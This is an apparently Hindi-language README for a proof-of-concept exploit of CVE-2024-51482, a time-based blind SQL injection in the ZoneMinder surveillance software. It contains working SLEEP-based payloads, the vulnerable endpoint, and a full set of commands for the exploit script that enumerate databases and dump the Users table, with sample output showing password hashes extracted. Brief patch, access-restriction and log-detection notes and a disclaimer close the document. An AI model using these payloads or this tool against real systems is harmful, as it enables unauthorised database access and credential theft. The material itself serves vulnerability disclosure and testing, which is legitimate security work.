
ZenoMinder ब्लाइंड SQL इंजेक्शन PoC
CVE-2024-51482 ZoneMinder, एक लोकप्रिय ओपन-सोर्स सीसीटीवी निगरानी सॉफ्टवेयर, में खोजा गया एक गंभीर बूलियन-आधारित SQL इंजेक्शन भेद्यता है। यह दोष संस्करण 1.37.* से 1.37.64 तक प्रभावित करता है और कम विशेषाधिकार वाले प्रमाणित हमलावरों को अंतर्निहित डेटाबेस सर्वर पर मनमाना SQL कमांड निष्पादित करने की अनुमति देता है।
| मीट्रिक | मान |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSS स्कोर | 9.9 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | निम्न |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | परिवर्तित |
| प्रभाव | गोपनीयता, अखंडता, उपलब्धता - उच्च |
| पैच किया गया संस्करण | 1.37.65 |
भेद्यता web/ajax/event.php फ़ाइल में removetag फ़ंक्शन में मौजूद है। पैरामीटर tid (टैग आईडी) को उचित स्वच्छता या पैरामीटरीकरण के बिना सीधे SQL क्वेरी में जोड़ा जाता है।
असुरक्षित कोड:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
फिक्स्ड कोड:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
असुरक्षित एंडपॉइंट को निम्नलिखित के माध्यम से ट्रिगर किया जा सकता है:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[इंजेक्शन_पॉइंट]
इंजेक्शन पॉइंट प्रतिक्रिया में सीधे क्वेरी परिणाम नहीं लौटाता है, जिससे पारंपरिक UNION-आधारित हमले असंभव हो जाते हैं। इसके बजाय, हमें बूलियन स्थितियों या समय विलंब के माध्यम से जानकारी का अनुमान लगाना चाहिए।
हमारा शोषण SLEEP() फ़ंक्शन के साथ समय-आधारित निष्कर्षण का उपयोग करता है:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
जब यह स्थिति सत्य का मूल्यांकन करती है, तो डेटाबेस 2 सेकंड के लिए सो जाता है, HTTP प्रतिक्रिया में एक मापने योग्य विलंब पैदा करता है।
ASCII(SUBSTRING()) > MID का उपयोग करके श्रेणियों का परीक्षण करते हैं।SLEEP ट्रिगर होता है।स्थिति 1 पर वर्ण निकालने के लिए पेलोड उदाहरण:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# रिपॉजिटरी को क्लोन करें
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# स्क्रिप्ट को निष्पादन योग्य बनाएं
chmod +x CVE-2024-51482.py
# आवश्यक निर्भरताएँ स्थापित करें
pip3 install requests
# जांचें कि लक्ष्य असुरक्षित है या नहीं
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --test
# सभी डेटाबेस खोजें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --discover
# किसी विशिष्ट डेटाबेस में तालिकाएँ सूचीबद्ध करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --tables zm
# किसी विशिष्ट तालिका में कॉलम सूचीबद्ध करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --columns zm Users
# विशिष्ट कॉलम से डेटा डंप करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --dump zm Users "Username,Password"
# उपयोगकर्ता तालिका डंप करें (डिफ़ॉल्ट)
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users
# विस्तृत निष्कर्षण प्रक्रिया के लिए डीबग आउटपुट सक्षम करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --debug
# अधिक विश्वसनीय निष्कर्षण के लिए स्लीप समय समायोजित करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --sleep 3
# रंगीन आउटपुट अक्षम करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --no-color
उदाहरण 1: भेद्यता परीक्षण
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: 192.168.1.100
[*] 'admin' के रूप में 192.168.1.100 पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.058s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
उदाहरण 2: डेटाबेस गणना
$ python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: <लक्ष्य-होस्ट>
[*] 'admin' के रूप में <लक्ष्य-होस्ट> पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.065s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
[*] डेटाबेस गिने जा रहे हैं...
[+] डेटाबेस मिला: information_schema
[+] डेटाबेस मिला: performance_schema
[+] डेटाबेस मिला: zm
[+] डेटाबेस मिले:
1. information_schema
2. performance_schema
3. zm
उदाहरण 3: उपयोगकर्ता क्रेडेंशियल डंप करना
$ python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: <लक्ष्य-होस्ट>
[*] 'admin' के रूप में <लक्ष्य-होस्ट> पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.062s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
[*] zm डेटाबेस से Users तालिका डंप की जा रही है...
[*] 'zm.Users' में कॉलम गिने जा रहे हैं...
[+] कॉलम मिला: Id
[+] कॉलम मिला: Username
[+] कॉलम मिला: Password
[+] कॉलम मिला: Language
[+] कॉलम मिला: Enabled
[*] 'zm.Users' से डेटा डंप किया जा रहा है...
[+] पंक्ति 1: {'Username': 'admin', 'Password': '$2y$10$...हैश किया गया...'}
[+] पंक्ति 2: {'Username': 'operator', 'Password': '$2y$10$...हैश किया गया...'}
[+] निकाले गए उपयोगकर्ता: 2
उपयोगकर्ता: admin
पास: $2y$10$...हैश किया गया...
ईमेल: admin@localhost
सक्षम: 1
उपयोगकर्ता: operator
पास: $2y$10$...हैश किया गया...
ईमेल: operator@localhost
सक्षम: 1
उदाहरण 4: कस्टम डेटा निष्कर्षण
# Events तालिका से विशिष्ट कॉलम डंप करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) पेलोड के साथ परीक्षण करता है।ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP ट्रिगर → प्रतिक्रिया विलंबित।sudo apt-get update
sudo apt-get install zoneminder
# Apache कॉन्फ़िगरेशन
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
यह उपकरण केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम का अनधिकृत परीक्षण अवैध है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| मीट्रिक | मान |
|---|
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | निम्न |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | परिवर्तित |
| गोपनीयता | उच्च |
| अखंडता | उच्च |
| उपलब्धता | उच्च |